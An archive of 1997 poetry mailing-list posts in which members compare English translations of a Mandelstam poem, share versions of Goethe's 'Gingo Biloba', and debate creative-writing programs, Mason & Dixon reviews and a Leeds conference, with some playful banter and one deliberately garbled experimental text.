| ("no verb arrests no noun")
|
| the squire enquired of the crown
| wot his king'd exchanged in th' cloakroom
| when (email being down)
|

| th' guy switcheroo'd with 'is own clown
| for t' keep in touch with th' hokum
| the verb would expire in the noun
| e's pillow encloister'd (down)

6/4/97
d.i.

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117. Tom Mandel
another trans. of 376
Wed 4 Jun 1997

RE: the short OM poem (#376) from March 1937, here is Bernard Meares version:

I'll say it in draft in a whisper
Since we cannot speak openly yet:
The game of irrational heaven
Is attained via experience and sweat.

Beneath the temporary sky of purgatory
We frequently fail to recall
That this happy heaven-roofed depository
Is a flexible lifetime home.

If this is interesting to others, I'm sure I can find a few more versions on my shelves.

... well that didn't take long. Here's R and E McKane:

I will whisper this as if it were a rough draft,
because it's not time yet:
the play of the unaccountable sky
will be achieved by effort and experience.

Under the temporal sky
of purgatory we often forget
that the happy granary of the sky
is both an expanding and lifelong home.

***

I no longer recall the exact circumstances in which I sat down to do my version, except that I was translating a bunch of short poems in quatrains (just for fun and for the feel of the form). I looked at the original (shape, number of words/syllables per line, size of vocabulary, repetitions of words, and about 10 other identifiable variables -- language really does reach out to you) and all the

versions I could find. The translations alas are pretty lame. I don't know about you but in the cases above for example I am really happy to get to the end and not have to read anymore. But they do give you at least some idea of what Mandelstam is after semantically.

Here's a famous and beautiful poem by Goethe:

Gingo Beloba
Johann Wolfgang von Goethe

Dieses Baums Blatt, der von Osten
Meinem Garten anvertraut,
Gibt geheimen Sinn zu kosten,
Wie’s den Wissenden erbaut.

Ist es lebendig Wesen,
Das sich in sich selbst getrennt?
Sind es zwei, die sich erlesen,
Dass man sie als Eines kennt?

Solche Frage zu erwidern
Fand ich wohl den richten Sinn:
Fuehlst du nicht an meinen Liedern,
Dass ich Eins und doppelt bin?

...and my version:

Gingo Beloba

This leaf from the East
In the heart of my bower,
What strange sense it heaps
On those who know the flower.

Is it one living essence
That in itself has split?
Or two that read each other lessons
& we but sense their fit?

Strange questions. To unreel them
Think about the way when you
Hear my songs, don't you feel them
Leave you first one, then two?

(I changed Goethe's meaning in the last line intentionally of course)

Tom Mandel

Tom Mandel [redacted]
****

Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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118. **DS**
Re: another trans. of 376
Thu 5 Jun 1997

Bugger, i didn't mean to post that to everybody.
Sorry to burden you.

Dan
(and again)

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119. **DS**
Re: another trans. of 376
Thu 5 Jun 1997

It gets worse, I translated the Goethe & then thought i had mailed it and trashed it but hadn't mailed it and now its gone.
I'm going to bed.
Dan

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120. **henry**
Re: another trans. of 376
Thu 5 Jun 1997

Maybe we can talk about the poem a little? Or is this more tarnished word-spilling... boring...

to me this poem in one way goes back to OM's beginnings as an "acmeist" - that is, as a poet who defines himself in opposition to otherworldly symbolism. The earth is a gift, not a dirty curtain veiling the truth; heaven is achieved via purgatory on earth, not magic formulas; these ideas are reflected in the acmeist call for worldly exactitude (similar to Pound's imagism & what followed).

What makes the poem different from his programmatic early work is exactly the experience of purgatory (or should I say hell on earth). He can only "say it in a whisper" because it's "not yet time"... and yet he still says it.

From a slightly different angle, the poem is an enactment of how the labor of poetry "naturalizes" its own artificiality - and this in itself is an image of the acmeist metaphysics described above. Time silvers the plow, & the poet's... chops... - Henry G.

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121. Tom Mandel

grad school and the writers union

Thu 5 Jun 1997

I think I want to withdraw the remark in which I drew a parallel between grad schools of creative writing and the Soviet Writers Union.

That is, I think the point I wish to make is both too complex for this kind of a forum (it would require a pretty developed argument) and unfriendly to the forum, which contains a large number of people who either currently attend or come out of or else teach in institutions of the kind I am (obviously) criticizing in making the comparison.

My sole - tho two-tipped - point is 1) the narrowing scope of an independent life of writing -- as the life and the entry into the life are moved into schools something is lost (to me that "something" that's lost is important), and 2) the "professionalization" of the role of the writer -- as we create institutions to certify them and turn them into teachers in the same schools we are developing a small world where poetry will live.

In that world, I think the parallel I drew will be hard to see.

I'm now going to cease writing on this subject (sigh of relief before numerous screens). A concluding note, however: I am not saying poets shouldn't teach. Everybody needs a job. Poets who've led interesting lives, done all sorts of things, and wound up teaching bring news from a larger world into that context.

Ok that's it. I'm now silent on the subject.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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122. Tom Mandel
Reverdy and Memory
Thu 5 Jun 1997

Steve Vincent writes:

> *Wasn't the Ron Padgett's talk on Reverdy --*
> *who he was in the middle of translating*
> *and getting published in the early eighties??*

Yes, that is how I remembered it too, and I remembered very much liking what Ron was doing

Dodie writes:

> *That makes sense since the letter R came to mind initially. I don't*
> *remember any of it, except maybe there was a slide projector with a poem on*
> *the wall--or an overhead projector--and Tom rising from his chair . . .*

Whew! At least I didn't stand on it and throw spitballs at Ron (whose translations of French poets are totally wonderful).

Steve writes:
>Since I've begun to take ghinko
>I want to, at least, imagine
>my memory is running better!

Dodie replies:
>You should try the Gingko Biloba Rejuvenator they sell at Rainbow. It's
>made from magical water from Mt. Shasta and tastes like flat ginger ale.

Personally, I go straight for the flat ginger ale.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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123. Judy Roitman
Re: another trans. of 376
Thu 5 Jun 1997

> *Maybe we can talk about the poem a little? Or is this more tarnished word-spilling... boring...*
>
> *- Henry G.*

Or we can talk about the translation(s), nuts & bolts. In particular, the existence of translaterese (very little in version #1, considerably more in #2) --- only when someone is translating do they come up with these just-so-faintly-non-idiomatic phrases, these little energy blocks. You can hardly put your finger on it but it's there.

By the way, my husband Stan Lombardo's translation of the Iliad just came out (Hackett) --- I think his translation is wonderful, but hey I'm the wife.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

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124. henry g
Re: OM transl.
Thu 5 Jun 1997

While I agree with Judy & have said already that I don't think OM has been translated into english yet - I think the "translatorese" she mentions isn't a completely negative phenomenon. It's like the equivalent of what gets lost in translation. It adds sort of a musty charm, maybe like what the philatelist likes in an old stamped foreign stamp - unusable as postal currency but charming nonetheless (this side of an obsession with whitened sepulchres of phraseology).

Incidentally I have a limited number of little gray postcards of Tom Mandel's version of the poem - which were printed as a correction/corrective for a glaring typo on the back cover of Nedge #4 (where the poem appeared. It's also INSIDE Nedge #4, sans typo). I'll send said card to anyone free of charge 1st come 1st serve until I run out. Send me your street address if you'd like one - Henry [redacted]

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125. Aldon L. Nielsen
Re: grad school and the writers union
Thu 5 Jun 1997

This continues to strike me as an odd way to form certain questions -- I'd think it obvious, given the actual number of jobs in question, that at any given moment more "serious" writers are outside the academy than in. This fact, on its own, means little. Gioia's remark, like so many of his remarks, doesn't really get us anywhere -- that is, there has never been and never will be any danger (or even possibility) that all writers will be inside the academy -- what IS a problem, is how the literary "market" has changed, and how the infrastructure of writing programs etc. has absorbed so many of the few remaining publication possibilities. Innovative writers, whether or not they also teach in universities, community colleges, high schools, etc., are just as likely as ever to find that they will have to create their own publication resources. "Mainstream" writers will continue to dominate most publication possibilities, whether they are in or out of writing programs. That's what it means to be a mainstream writer. No?

and while all is far from perfect, or even desirable, with peer review -- I know that if a ms. appears before me written by a former student, I'm supposed to recuse myself --

Je recuse!

but it is still, and always, a good thing to bring an open critique of poetry publication practices -- I think there are now even more "fake" competitions in poetry than there are "fake" job searches in academia -- not a pretty sight --

publish to the parish!

_____

AND,,,,

has anyone out there seen a review of _Mason & Dixon_ that says anything about how slavery figures in the plot, the metaphorical structures, indeed everywhere -- as one might well have expected of a novel about Mason & Dixon and their line -- complete silence on this topic in the reviews I've seen so far

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126. Judy Roitman
Re: another trans. of 376
Thu 5 Jun 1997

> *Judy - sorry - can you point out which ones - & which phrases - you mean? Are the original posts handy so you could reply w/text? (to the list?) - Henry*

> *-----Here are the texts from Tom M----------*

1.

I'll say it in draft in a whisper
Since we cannot speak openly yet:
The game of irrational heaven
Is attained via experience and sweat.

Beneath the temporary sky of purgatory
We frequently fail to recall
That this happy heaven-roofed depository
Is a flexible lifetime home.

2.

I will whisper this as if it were a rough draft,
because it's not time yet:
the play of the unaccountable sky
will be achieved by effort and experience.

Under the temporal sky
of purgatory we often forget
that the happy granary of the sky
is both an expanding and lifelong home.

Judy again:

for me the clunker in #1 is heaven-roofed, made worse by happy. Although if you are concerned with regular meter (which the translator sort of seems to be) there are more odd things (lines 4, 5, 7), as if he is cheating and hopes not to be caught.

in #2, lines 3 and 7 seem a little off.

Is the translator's downfall the temptation to Communicate Something Else? Like all those bad poets trying to Communicate An Experience? On the other hand, isn't Communicating Something Else the translator's job?

Successful translation seems a miracle to me, by definition it should be impossible.

Judy Roitman
Math, University of Kansas
Lawrence, KS 66045

"Whoppers Whoppers Whoppers! memory fails these are the days."
[redacted] Larry Eigner, 1927-1996

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127. **henry**
Re: another trans. of 376
Thu 5 Jun 1997

On Thu, 5 Jun 1997 13:57:38 -0500 Judy Roitman said:
>
>1.
>
>I'll say it in draft in a whisper
>Since we cannot speak openly yet:
>The game of irrational heaven
>Is attained via experience and sweat.
>
>Beneath the temporary sky of purgatory
>We frequently fail to recall
>That this happy heaven-roofed depository
>Is a flexible lifetime home.
>
>
>2.
>
>I will whisper this as if it were a rough draft,
>because it's not time yet:
>the play of the unaccountable sky
>will be achieved by effort and experience.
>
>Under the temporal sky
>of purgatory we often forget
>that the happy granary of the sky
>is both an expanding and lifelong home.
>

I'm with you Judy. You're too kind. "Happy granary of the sky" - Hallmark crossed with soviet-shlock. Rhythm wheezes in those lines you mentioned. "We frequently fail to recall" - dreck. "depository" - stinks. #2 - do we need the word "sky" at the end of 3 out of 8 lines?

"You are the salt of the earth. If salt has lost its taste, how shall its saltness be restored? It is no better than to be thrown out and trampled underfoot by men." - Henry G.

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128. Judy Roitman
Re: another trans. of 376
Thu 5 Jun 1997

> *I'm with you Judy. You're too kind. "Happy granary of the sky" - Hallmark crossed with soviet-shlock. Rhythm wheezes in those lines you mentioned. "We frequently fail to recall" - dreck. "depository" - stinks. #2 - do we need the word "sky" at the end of 3 out of 8 lines?*

I was limiting myself to translaterese. The other stuff is at least idiomatic English.

It's the phenomenon of translaterese that interests me here, and I'm curious what folks who do translation have to say about it.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

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129. hg
OM tranas
Thu 5 Jun 1997

Here's a stab at it.

I'll whisper it - in an outline.
Its hour has not yet come.
The chessgame of measureless heaven
is mated with sweat - and wisdom.

And under purgatory's transient sky
we grow absent-minded - forget
that lucky heaven-vault on high...
- is a limber, everlasting habitat.

I will send a transcription of the Russian soon. - Henry G.

↑ Index

130. David Bromige
Gingo beloba
Thu 5 Jun 1997

Tom, agreed, how well you put it, 'I am really happy to get to the end & not have to read any more'. Would that be the book depository in Dallas? But yr. own tr., of the Goethe, is fine. µy a-version casts no aspersions...just me, at loose ends:

Belabored Gingkos

These trees go Blatt when the East wind
Knocks them into my garden,
Accosting a secret mind.
Wystan Wissenschaft. He built it, then.

It's the living reason, dig.
The self zigs then zigs some more?
Must be divided, or how to ignore
Nothing? How else know a single thing?

Mulch fragrant at the broken window.
Fanatic Walden rich with signs.
Full of nothing, saying the word 'Linda',
Once & forever, dropped in the 'doubles' bin.

David Bromige.

↑ Index

131. James Finnegan
Re: grad school and the writers union
Thu 5 Jun 1997

In a message dated 97-06-05 16:20:42 EDT, you write:

> *that they will have to create their own publication resources. "Mainstream" writers will continue to dominate most publication possibilities, whether they are in or out of writing programs. That's what it means to be a mainstream writer. No?*

The only word I would quibble with is "dominate." It sounds a bit like mainstream writers infiltrated the editorial offices of outsider mags/presses and began publishing work friendly to their cause. They too "created" many of the mags/presses that publish mainstream work--you can hardly begrudge them dominating a literary vehicle of their own making. (Though one does hope for a more broadminded approach and not a narrow view of writing is or can be.)

Still, there is the question of the private/public resourses which help float these ventures, and what mag/press does or doesn't get the largesse. That may be where the "domination" comes in. However, since these resources are so scarce and skimpy--these days anyway--I do think it's mostly mainstream blood, sweat & tears that gets the next issue or a new title out. And I can't find fault with their efforts.

Finnegan

↑ Index

132. Joseph Duemer

Re: grad school and the writers union

Thu 5 Jun 1997

Aldon Nielsen wrote:

"Innovative writers, whether or not they also teach in universities, community colleges, high schools, etc., are just as likely as ever to find that they will have to create their own publication resources."

Haven't inovative writers *always* had to create their own alternative marketplace? I'm not sure it is writing programs that have changed the "marketplace" for poetry. Also, I'm curious about the context of Gioia's remark. When he was a vp at General Foods, Gioia tended to be highly critical of writers in the academy, longing I think for a day that never existed, but which he imagined as sometime in the 1940 when we had "public intellectuals." (Most of whom worked in NY in publishing, certainly no less a hot house than the universities.) But now that he has become President of Poetry, flitting from conference to conference-- "making his living from his writing," as I heard him brag recently to an impressionable undergraduate--it seems as how he's willing to allow that it's okay for a writer to make his living teaching.

The "interesting lives" argument: Tom Mandel wrote "Poets who've led interesting lives, done all sorts of things, and wound up teaching bring news from a larger world into that context." Isn't this the same as Gioia--or one version of him--saying that poets shouldn't teach because the academy is sterile, ie, not "interesting"? But aren't all lives interesting, if looked at from the right angle? Did E. Dickinson have an "interesting" life?

Having raised the question above, I'd like to add that I think I know what Tom was getting at in his comparison between the Writers' Union and grad programs in cw--That people with seemingly laudable and progressive attitudes can often be blind to the power relations that give them their opportunity to pursue their laudable goals. I think it is very important to be sensitive to this, and I have not always been so.

I led and "interesting life" of bartending and being a projectionist in a porno theater, then went to . . . wait for it . . . The University of Iowa Writers Workshop, where I had a good time, learned a lot, and was treated respectfullly by my teachers. Since then, except for a brief stint as a journalist, I have been a college teacher, though not in an MFA program. I relate these biographical details because, imho it has been an interesting life. The problem with the category, clearly, is that it can't be defined.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

133. Aldon L. Nielsen
Re: grad school and the writers union
Thu 5 Jun 1997

I should think the phrase "as ever" in my post answers in advance the possibly rhetorical question that begins Joseph's response --

and yes, the writing programs have changed the "marketplace" --

and look, I never begrudged anybody anything -- what I would insist upon, however, is the right to analyse and discuss how people operate whatever it is they're operating,,,, I've been glad to see a slight opening in the poetry publishing at U of Georgia Press, for instance, but that opening consists of something like two books in the past five years --

It's much like the patronage systems in government -- It has always been the case that the dominant parties create positions for their friends and allies, often with great energy and ingenuity -- I wouldn't expect these systems to alter substantively any time soon -- but I've never seen that as a reason to suspend critique of said systems --

In other words, I think generally, for example, that judges should not be permitted to select their former students in publication competitions, and therefore I

suggest that anybody foolish enough ever to permit me to judge such a thing should prohibit me from favoring any of my own students --

↑ Index

134. henry g
Om trans.
Thu 5 Jun 1997

Should be remembered that this little octet was written at the end of OM's life, in very trying circumstances. It is just what he said - a sketch , an outline. Like Bach's little piano finger-exercises compared to his concertos, is this beautiful little poem to M's great odes, for example. See Omry Ronen's study of "Flint Ode" & "1 January".

from Raffel/Burago trans. of "1 January":

But the typewriter's plain sonatina - that's only
the shadow of those mighty ones and all their mighty music.

(- & THIS is not even a shadow of the original)

- HG

↑ Index

135. john chris jones
parts of the cyberepic
Thu 5 Jun 1997

this is noteart (as I'm calling it)

my attempt to shorten the gap between:
1. my notes and journal entries and
2. my 'life' and 'work'.

I don't know if you'd choose to call it poetry
but may I suggest that we widen the term
to mean this note
and everything that appears in list postings
a long
collaborative
and in newfact epic electronic
poem
of many 'voices'?

and this is also my response to the invitation
in that to me very welcome 'welcome to the poetics list'
to treat it as 'a form of publication'

'well considered'
(but immediate, and brief, etc, etc)

So just to get started I choose a page by chance from my journal
(using a table of random numbers)
and type out what is there
[with any changes as I type in square brackets]:

[page 41, June 4th 97, I was writing beneath a tree on Hampstead Heath, London]

My hand jerked at the loud CAW of a crow that descended from above me and gave me a shock ...

I waddles about on its not very good walking legs, inspecting things at its eye level and above. It's not searching the ground. What is it thinking? For surely all things can think in some way or other, it's surely nonsense to limit thought to just one 'species', whatever we say. Yes. the nature of thinking will surprise us - when [and if] we get to know what it is. I guess it won't be conscious at all, or localised [e.g. 'in my head']. More likely dispersed and extended everywhere.

A park keeper in shirt sleeves and brown trousers [his summer uniform] walks through [the glade]. He avoids looking at me. Is that a condition of the job, or a wish not to get entangled with 'the public' ... ? [Poets too?]

The crow has flown off, a small fly is crawling over my belly and another on my wrist and now thumb and now thumbnail as I write. It isn't frightened off by the motions of writing, it seems to be eating traces of food on my nail. I see it does not venture into little caves or ravines between the folds of skin where thumb and hand join. Now it's on the pen and now it's jumped back to skin. I think I'll go, these flies are annoying, there are several.

{Sitting on a] seat on the way back. I'm remembering as I walk how unexpectedly the Dante/Jones conversation [see later] came through my fingers, almost without thought or deliberate effort and how it was at quite a conceptual distance from what I'd been preparing - and how I thought I was too tired to write it. And today I've been feeling it [the conversation] is not me, or not right, or not as free flowing as I'd wish, and yet I'm [now] treating it as objective command to thus continue ... Yes I must explore further (as I write) the mystery (for indeed it is one) of how the pre-thinking and the writing differ, and how, once written, the text becomes a little alien, a thing outside, of its own ... yes, yes ...

[I promised myself to stop after 500 words and that's 522 - I'm typing this first in Word so as to spell check and count words. Then I'll cut and paste into Eudora.]

Later, if this gets past the 'moderator', if he is letting through only selectied postings, and if this brings any (backchannel) encouragements, I'll post more of these notes. I'll also post some of the Dante/Jones conversation - which is intended to be a modern Dante's attempt at rethinking and rewriting my 'bottom-up' notes from his 'top-down' position, more conceptual, more absolute, and perhaps more 'poetic'?

These are parts of a book I've just started.

Provisional title: Dante rewriting
[the memories and minds of everyone - a fresh and fictional view of modernity and afterwards, I hope. But it could change enormously.]

john chris jones

things (and other things) by myself and others await an inquisitive mouse at <http://www.gold.net/ellipsis/> and a mirror site at <http://www.ellipsis.com> or at other sites by Altavista search

'This chaos will not be ended'
from IDIOM OF THE HERO, Wallace Stevens (chosen by a statistical chance process)

(this isn't a competition entry! it's an advertisement as well as a 'form of publication'. he laughs to himself and goes to sleep now.)

↑ Index

136. Alan Julu Sondheim

(no subject)

Thu 5 Jun 1997

Julu: This is a mess, just a blank, a brick, salvaged from the Amaya test browser. Just a moment, the phone is ringing.

Julu: As I was saying, this is a mess. There's nothing to it, nothing. The substitutions are weak; there's nothing to be done about it. It was saved from Amaya through lynx. Hold on, someone's at the door.

Julu: Sorry for that interruption. There could be another, next time a shot rings out, the time after, sounds of bodies going under. The brick thrown through the screen, what the fuck difference does the text make?

Julu: That was just a pause, /make/ turning dirt into action. Sorry for the brick, shots just rang the changes.

> filooo booocoousooo fuck fooolt fuck hood to soooooo it to (nooooorly) thooo ooond. Thooorooo woos littlooo ooolsooo going on. fuck wooont to nomooil. wHERE i PROUDLY REMAfuckNED SfuckLENT,

RECOGNfuckZfuckNG THE
FUTfuckLfuckTY OF ARGUfuckNG WfuckTH ARMED MfuckLfuckTfuckA. tO
THfuckS i OWE MY LfuckFE AND THE FUTURE OF MYSELF AND MY DESCENDENTS,
gOD BE THANKED. As foor oos booliooofs, fuck soooooo no roooooson to
booliooovooo in oonything. fuckf thooorooo is oo moooddling GODJULU,
hooo/shooo is dooostructivooo. fuckf thooorooo is oo non-moooddling
GODJULU, it's of no intoooroooost to mooo; whoot's thooo point?
>>>doooity RAfuckSES fuckTS UGLY HEAD PROMfuckSfuckNG prooyooor oond
spirit. thoonk you lord. Which looooovooos mooo with thooo usuool
ooothicool quooostion - how to construct/ work within oon ooothos
without immoonoooncooo or troonscooondoooncooo. fuckn rooooolity, fuck
buy thooo oooxistooontiool notion of projoooct/rooosponsibiliy, but
fuck oolso fooooool this is oo convooonioooont myth. fuck ooct in
tooorms of whoot fuck considooor just

Julu: Sorry for the brick, I mean that.

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137. Joseph Duemer

Re: grad school and the writers union

Thu 5 Jun 1997

The last thing I want to do is turn this into the boring old argument between writing program types and the bohemians. I have no interest in that argument, and have tried in my last response to honor Aldon Nielsen's analysis of institutional narrowing of options and opportunities. I'm not asking anybody to "suspend his/her critique"--what I'm trying to do is understand it, and perhaps extend it. But Aldon answers my questions with an assertion--"Yes, writing programs have changed the marketplace," but assertion is not evidence, nor even argument. Finally, and I mention this because I think there is more agreement here than might be apparent, two of my recent recommendations to David Fenza at AWP were that judges A) be picked from a larger pool of writers, and B) that they not be allowed to name their own students winners within, say, a five year period.

It seems to me that we need to reframe the old us/them arguments among writers in terms of us/us v. institutional narrowing of perception and reception. There are bohos and mainstreamers in and out of the academy, but since all, I presume, are interested in imagination and the possibilities open to consciousness, perhaps we ought to take a look at the larger economic and cultural forces that constrict imagination, which is always subversive. Though there is, I

think, a point of balance at which, perhaps only briefly, an instutional structure may sponsor free play and exchange.

I hope it is clear in the above that I'm not looking for a brawl, though as I've said elsewhere recently, I have no objection, now and then, to a nice "glory."

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

138. **groberts**
M & D
Thu 5 Jun 1997

Of the four reviews I've read, only T. Coraghessan Boyle's in the NY Times mentions slavery in book, something about Dixon's "heroism" when he whips a slave trader. But I haven't gotten that far in novel yet, so I can't vouch for the appropriateness of Boyle's characterization.

Gary R

↑ Index

139. **David Bromige**
loose ends
Thu 5 Jun 1997

Hey, George, whatever happened to that Maria dame 'n Rachel Loden?

(Hey, _Jack_. Walter Matthau)

↑ Index

140. **Maria Damon (Maria Damon)**
Re: Orpheus
Thu 5 Jun 1997

do you mean jane ellen harrison?

At 10:59 AM 6/6/97, Joe Safdie wrote:
>On Fri, 6 Jun 1997 [redacted] wrote:
>
> the only thing I'm aware of is
>> a short article written by a woman around the turn of the century, & various
>> references to it in Eliade's books (where one discovers it is a world-wide
>> tale, origins undoubtedly buried in the paleolithic, not as J Safdie
>> suggested, a product of central Asian shamans)
>>
>Joe Safdie suggests you check out E.R. Dodds *The Greeks and The
>Irrational*, Charles Segal's *Orpheus: The Myth of The Poet* and a
>collection of essays on the historical development of Orpheus called
>*Orpheus: Metamorphoses of a Myth* edited by John Warden and published by
>the University of Toronto.
>
>I used to like skimming through Eliade too . . .

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141. David Bromige
waterpipes
Fri 6 Jun 1997

Hey, Jack, I didnt think you still smoked thru them things. Walter

↑ Index

142. George Bowering
Re: loose middles
Fri 6 Jun 1997

> *Hey, George, whatever happened to that Maria dame 'n Rachel Loden?*
>
> *(Hey, _Jack_. Walter Matthau)*

I have them both here, chained by the wrist to a waterpipe.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

143. **rsillima**
Slavery and Mason & Dixon
Fri 6 Jun 1997

Aldon,

I've seen too many reviews (including one on the NY Times site that predated the TC Boyle review that must have been written when the editors there were concerned that Boyle was never going to get his written, and which was subsequently pulled once Boyle got his in [and to my knowledge never showed up in hard copy], which is how the NYT got to be the last paper in America to review the book), but I think there was a mention in passing in the Philadelphia Inquirer that referred to the line about how capitalism was unthinkable without slavery as an instance of an encyclopedic humanism, or some such.

When I drive down route 1 from here on the way Baltimore (far more scenic than I95, and fewer tolls as well), the Mason-Dixon line is announced on the sign that welcomes me to Maryland.

Ron

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

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144. **Gwyn McVay**
Re: waterpipes
Fri 6 Jun 1997

---

far healthier than one a those paper tubes, db... I'd rather deface paper than smoke it...

On Thu, 5 Jun 1997, David Bromige wrote:

> *Hey, Jack, I didnt think you still smoked thru them things. Walter*

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145. Mark Prejsnar
Re: grad school and the writers union
Fri 6 Jun 1997

A thousand alternative venues should bloom.

We should be willing to critique existing, highly-institutional venues and projects....But on the other hand the best work's gonna continue to come out of *very* underfunded operations..

There are too many poets, and indeed lots of 'em are (to my ear) all too close to first rate, when very few resources are available in the immediate future to help them find an audience and pay the rent...

So concentrating on our own life-support and life-extension projects is the main concern. This was the poiint of Tom's recent "rant," which I don't think was heard clearly enuff by enuff folks. (..that and principled critique like Aldon talks about can coexist; indeed I think Aldon's own projects are a great example of extending the needed breathing space..)

A thousand alternative venues should bloom.

Chairman Mark
Atlanta

On Thu, 5 Jun 1997, Joseph Duemer wrote:

> *The last thing I want to do is turn this into the boring old argument between writing program types and the bohemians. I have no interest in that argument, and have tried in my last response to honor Aldon Nielsen's analysis of institutional narrowing of options and opportunities. I'm not asking anybody to "suspend his/her critique"--what I'm trying to do is understand it, and perhaps extend it. But Aldon answers my questions with an assertion--"Yes, writing programs have changed the marketplace," but assertion is not evidence, nor even argument. Finally, and I mention this because I think there is more agreement here than might be apparent, two of my recent recommendations to David Fenza at AWP were that judges A) be picked from a larger pool of writers, and B) that they not be allowed to name their own students winners within, say, a five year period.*
>
> *It seems to me that we need to reframe the old us/them arguments among writers in terms of us/us v. institutional narrowing of perception and reception. There are bohos and mainstreamers in and out of the academy, but since all, I presume, are interested in imagination and the possibilities open to consciousness, perhaps we ought to take a look at the larger economic and cultural forces that constrict imagination, which is always subversive. Though there is, I think, a point of balance at which, perhaps only briefly, an instutional structure may sponsor*

> *free play and exchange.*
>
> *I hope it is clear in the above that I'm not looking for a brawl, though as I've said elsewhere recently, I have no objection, now and then, to a nice "glory."*
>
> ---
>
> *Joseph Duemer*
> *School of Liberal Arts*
> *Clarkson University*
> *Potsdam NY 13699*
> *Phone:* [redacted]
> *Fax:* [redacted]
> [redacted]
>
> *"The honey of heaven may or may not come,*
> *But that of earth both comes and goes at once."*
> *Wallace Stevens*

↑ Index

146. Maria Damon
Re: loose middles
Fri 6 Jun 1997

At 9:33 PM -0700 6/5/97, George Bowering wrote:
>> Hey, George, whatever happened to that Maria dame 'n Rachel Loden?
>>
>>(Hey, _Jack_. Walter Matthau)
>
>I have them both here, chained by the wrist to a waterpipe.

you wish listen bromige, last time i heard from george it was a backchannel begging for a session w/ Lady Discipline, the grande maitresse of form and content, quick with a whip and terse with a verse.

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147. Rachel Loden
loose lips, moose lips
Fri 6 Jun 1997

Bromige & Bowering typed:

> *Hey, George, whatever happened to that Maria dame 'n Rachel Loden?*
>
> *I have them both here, chained by the wrist to a waterpipe.*

Oh, right. George will deny this, of course (and who can blame him), but unfortunately his real proclivities are quite a bit odder than that. I'm told that after he is trussed up in his elaborate. . .equipment, he can barely contain himself and will only answer to the name "Amy Lowell."

Rachel L.

↑ Index

148. MARK LEAHY
Re: Women and Texts (at Leeds)
Fri 6 Jun 1997

For list members who may be coming to the UK in the next few weeks,
or those of us who are already resident here --
here is some information regarding the Women and Texts conference
at the University of Leeds
running from June 26th to July 4th
(this is just a few details from a wide and varied programme)

Fiona Templeton performance on July 2nd
and Nicole Brossard reading on July 1st and 2nd

there will also be readings by Maggie O'Sullivan, Daphne Marlatt, Nourbese Philip, Audrey Thomas and others

there will be performances by Caroline Bergvall -- July 4th Caitlin Hicks -- July 3rd and 4th, Tilla Brading -- July 3rd Shawna Dempsey and Lori Millan -- July 2nd and others

Cathy Courtney is curating an exhibition of book art
and there will be book art from Canada curated by Apollonia Steele

the conference sessions themselves include a number focussing on issues of poetics, community, computing (topics which have come up on this list also)

there is a web site in preparation which I will give the URL for as soon as I can

otherwise you can e-mail Sarah Graves at the University of Leeds

[redacted]

and she will send you an information pack;

it all looks like being a great few days

Mark Leahy

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149. **charssmith**
Re: OM transl.
Fri 6 Jun 1997

In a message dated 97-06-06 03:46:20 EDT, you write:

<< Incidentally I have a limited number of little gray postcards of Tom Mandel's version of the poem - which were printed as a correction/corrective for a glaring typo on the back cover of Nedge #4 (where the poem appeared. It's also INSIDE Nedge #4, sans typo). I'll send said card to anyone free of charge 1st come 1st serve until I run out. Send me your street address if you'd like one - Henry [redacted] >>

ok, Henry.

2 other things:

I meant to send for Nedge 4 when it came out & forgot to. how much again? to where?

also: what was the title of that book on Orpheus tales in Native Am lit you were reading? I ran into a number of them when I was reading Great Basin/California matrerials some time ago, but the only thing I'm aware of is a short article written by a woman around the turn of the century, & various references to it in Eliade's books (where one discovers it is a world-wide tale, origins undoubtedly buried in the paleolithic, not as J Safdie suggested, a product of central Asian shamans)

anyway ...

all best

Charles Smith
2135 Irvin Way
Sacramento, CA 95822

↑ Index

150. **henry**
Re: OM transl.
Fri 6 Jun 1997

Hi Charles - postcard on its way. I'll send Nedge under sep. cover. It's $5.00 to: The Poetry Mission, POB 2321, Providence, RI 02906.

The book is in a set called Memoirs of the American Folk-Lore Society
Boston: Houghton-Mifflin, 1894 - 1975

it's a big set - the one I read was vol. 27, I THINK. Unfortunately I have it at home - will try to send you more info on author, etc. But most college libraries

anyway shd have this set. The stuff is amazing! (I haven't even looked at the other vols.)

Best, Henry

↑ Index

151. Mark Prejsnar
Re: grad school and the writers union
Fri 6 Jun 1997

"Help?"

"DT??"

"???????"

regards,
Mark

On Fri, 6 Jun 1997, Daniel Tessitore wrote:

> *Mark wrote:*
>
> *We should be willing to critique existing, highly-institutional venues and projects....But on the other hand the best work's gonna continue to come out of *very* underfunded operations..*
>
> ———
>
> *"But" ?*
>
> *"best" ?*
>
> *"operations" ?*
>
> *"institutional...projects" ?*
>
> *Help,*
> *DT*

↑ Index

152. Daniel Tessitore
Re: grad school and the writers union
Fri 6 Jun 1997

I like Gioia's phrase: The university is not a bad place for a poet to be, it's just a bad place for all poets to be. As a 'product' of a writing program, I can vouch for large numbers of writers who do not graduate right back into school. Truth

is, most writers I know didn't land back in the classroom right away, if they have at all. I did, but on the other half of the globe doing something else.

